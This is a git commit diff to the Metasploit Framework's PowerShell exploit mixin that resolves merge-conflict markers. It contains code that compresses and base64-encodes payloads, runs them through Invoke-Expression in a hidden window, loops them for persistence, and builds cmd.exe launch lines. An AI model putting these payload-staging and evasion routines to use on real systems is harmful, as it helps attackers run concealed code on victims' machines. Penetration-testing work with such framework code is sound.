replace lib/msf/core/exploit/powershell.rb, thanks @Meatballs1

bug/bundler_fix
RageLtMan 2013-07-20 19:55:01 -04:00
parent 9d93891395
commit 4df3b0215c
1 changed files with 150 additions and 277 deletions

View File

@ -1,14 +1,9 @@
# -*- coding: binary -*- # -*- coding: binary -*-
<<<<<<< HEAD
require 'rex/exploitation/powershell' require 'rex/exploitation/powershell'
=======
require 'zlib'
>>>>>>> master
module Msf module Msf
module Exploit::Powershell module Exploit::Powershell
<<<<<<< HEAD
class PshScript < Rex::Exploitation::Powershell::Script class PshScript < Rex::Exploitation::Powershell::Script
end end
@ -25,24 +20,10 @@ module Exploit::Powershell
OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]), OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]), OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]), OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
=======
def initialize(info = {})
super
register_options(
[
OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
OptBool.new('RUN_WOW64', [
true,
'Execute powershell in 32bit compatibility mode, payloads need native arch',
false
]),
>>>>>>> master
], self.class) ], self.class)
end end
# #
<<<<<<< HEAD
# Reads script into a PshScript # Reads script into a PshScript
# #
def read_script(script) def read_script(script)
@ -50,8 +31,6 @@ module Exploit::Powershell
end end
# #
=======
>>>>>>> master
# Insert substitutions into the powershell script # Insert substitutions into the powershell script
# #
def make_subs(script, subs) def make_subs(script, subs)
@ -62,17 +41,10 @@ module Exploit::Powershell
subs.each do |set| subs.each do |set|
script.gsub!(set[0],set[1]) script.gsub!(set[0],set[1])
end end
<<<<<<< HEAD
# if datastore['VERBOSE'] # if datastore['VERBOSE']
# print_good("Final Script: ") # print_good("Final Script: ")
# script.each_line {|l| print_status("\t#{l}")} # script.each_line {|l| print_status("\t#{l}")}
# end # end
=======
if datastore['VERBOSE']
print_good("Final Script: ")
script.each_line {|l| print_status("\t#{l}")}
end
>>>>>>> master
return script return script
end end
@ -89,7 +61,6 @@ module Exploit::Powershell
end end
# #
<<<<<<< HEAD
# Return a gzip compressed powershell script # Return a gzip compressed powershell script
# Will invoke PSH modifiers as enabled # Will invoke PSH modifiers as enabled
# #
@ -102,65 +73,6 @@ module Exploit::Powershell
psh.send(mod_method) psh.send(mod_method)
end end
return psh.compress_code(eof) return psh.compress_code(eof)
=======
# Read in a powershell script stored in +script+
#
def read_script(script)
script_in = ''
begin
# Open script file for reading
fd = ::File.new(script, 'r')
while (line = fd.gets)
script_in << line
end
# Close open file
fd.close()
rescue Errno::ENAMETOOLONG, Errno::ENOENT
# Treat script as a... script
script_in = script
end
return script_in
end
#
# Return a zlib compressed powershell script
#
def compress_script(script_in, eof = nil)
# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(script_in,
::Zlib::BEST_COMPRESSION)
# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = "$stream = New-Object IO.MemoryStream(,"
psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression << "$stream.ReadByte()|Out-Null;"
psh_expression << "$stream.ReadByte()|Out-Null;"
# Uncompress and invoke the expression (execute)
psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
psh_expression << "$(New-Object IO.Compression.DeflateStream("
psh_expression << "$stream,"
psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
# If eof is set, add a marker to signify end of script output
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
# Convert expression to unicode
unicode_expression = Rex::Text.to_unicode(psh_expression)
# Base64 encode the unicode expression
encoded_expression = Rex::Text.encode_base64(unicode_expression)
return encoded_expression
>>>>>>> master
end end
# #
@ -180,21 +92,13 @@ $si.CreateNoWindow = $True
$p = [System.Diagnostics.Process]::Start($si) $p = [System.Diagnostics.Process]::Start($si)
EOS EOS
<<<<<<< HEAD
return ps_wrapper.gsub("\n",';') return ps_wrapper.gsub("\n",';')
=======
return ps_wrapper
>>>>>>> master
end end
# #
# Creates cmd script to execute psh payload # Creates cmd script to execute psh payload
# #
<<<<<<< HEAD
def cmd_psh_payload(pay, old_psh=false) def cmd_psh_payload(pay, old_psh=false)
=======
def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64'])
>>>>>>> master
# Allow powershell 1.0 format # Allow powershell 1.0 format
if old_psh if old_psh
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay) psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
@ -208,7 +112,6 @@ EOS
psh_payload = "function #{fun_name}{#{psh_payload}};" psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};" psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end end
<<<<<<< HEAD
# Determine appropriate architecture, manual method reduces script size # Determine appropriate architecture, manual method reduces script size
ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
# Wrap in hidden runtime # Wrap in hidden runtime
@ -281,36 +184,6 @@ EOS
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^ return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
end end
end end
=======
# Determine appropriate architecture
ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
# Wrap in hidden runtime
psh_payload = run_hidden_psh(psh_payload,ps_bin)
# Convert to base64 for -encodedcommand execution
command = "%COMSPEC% /B /C start powershell.exe -Command \"#{psh_payload.gsub("\n",';').gsub('"','\"')}\"\r\n"
end
#
# Convert binary to byte array, read from file if able
#
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join("") + "\r\n"
end
>>>>>>> master
end end
end end